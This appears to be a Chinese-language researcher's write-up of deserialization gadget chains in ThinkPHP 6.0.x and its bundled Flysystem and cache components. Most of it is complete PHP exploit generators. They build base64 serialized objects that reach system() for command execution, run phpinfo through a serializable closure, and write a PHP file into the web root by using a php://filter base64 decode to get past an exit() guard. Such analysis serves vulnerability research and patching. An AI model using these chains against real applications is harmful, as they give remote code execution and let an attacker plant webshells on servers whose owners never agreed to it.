thinkphp 6.0.x pop链
pop1
thinkphp v5.2.x 反序列化利用链挖掘
thinkphp v6.0.x 反序列化利用链挖掘
think\Model->__destruct()
/vendor/topthink/think-orm/src/Model.php
__destruct()
$this->save()
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$allowFields = $this->checkAllowFields();
$query = $this->db();
终于看到字符串拼接
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
think\model\concern\Conversion->__toString()
vendor/topthink/think-orm/src/model/concern/Conversion.php
__toString()
$this->toJson()
json_encode($this->toArray(), $options);
elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
return $this->getValue($name, $value, $relation);
$value = $closure($value, $this->data);
可以动态调用函数，但是参数是有限制的，接下来一种方法是找能用的php函数，一种是利用\Opis\Closure调用匿名函数
method1
system函数可以传递两个参数，第二个参数接收外部命令执行后的返回状态，不会影响执行，所以可以直接getshell
<?php
namespace think\model\concern;
trait Conversion
{
}
trait Attribute
{
private $data = ["sy1j" => "dir"];
private $withAttr = ["sy1j" => "system"];
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj = '')
{
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(base64_encode(serialize($b)));
method2
\Opis\Closure可用于序列化匿名函数，使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数，然后交由上述的$closure($value, $this->data)调用执行。
<?php
namespace Opis\Closure;
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/SerializableClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureScope.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ReflectionClosure.php";
include "D:/xampp/htdocs/tp6/vendor/opis/closure/src/ClosureStream.php";
namespace think\model\concern;
trait Conversion
{
}
trait Attribute
{
private $data = ["sy1j" => "dir"];
private $withAttr;
public function setAttr($closure){
$this->withAttr = $closure;
}
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
function __construct($obj = '', $closure="system")
{
$this->name = $obj;
$this->setAttr(["sy1j"=>$closure]);
}
}
$a = new Pivot();
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$b = new Pivot($a, $closure);
echo urlencode(base64_encode(serialize($b)));
pop2
League\Flysystem\Cached\Storage\AbstractCache->__destruct
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
因为是抽象类，所以要find usages，找到think\filesystem\CacheStore
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
store可控，可以走__call，也可以直接找实现set方法的类，找到think\cache\driver\File->set()
$data = $this->serialize($value);
serialize函数可以直接利用
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "serialize";
return $serialize($data);
}
不过最$data的来源是$value，$value来自CacheStore->save()里的$content，如下得到，所以内容是经过了json_encode
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
要执行命令必须使用反引号或者windows下&
exp
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache
{
protected $autosave = false;
// protected $complete = "`id`";
protected $complete = "\"&dir&";
// 在Windows环境中反引号无效，用&替代
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store = "")
{
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver
{
protected $options = ["serialize" => ["system"], "expire" => 1, "prefix" => "1", "hash_type" => "sha256", "cache_subdir" => "1", "path" => "1"];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver
{
}
}
namespace {
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
写shell
也可以再往下走两行，会有
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
经典“死亡exit”，比较简单的，伪协议绕绕就行了，最后文件名是$key的md5
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=d:/xampp/htdocs/tp6/public/","data_compress"=>0];
}
}
// 路径最好写成绝对路径
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
pop3
和上面差不多，写shell
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["<?php phpinfo(); ?>"];
}
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
protected $expire;
public function __construct($adapter="")
{
$this->file = "d:/xampp/htdocs/tp6/public/shell.php";
// 需要根据系统以及配置修改路径写法
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
}
}
namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo urlencode(base64_encode(serialize($cache)));
// echo serialize($cache);
}
?>
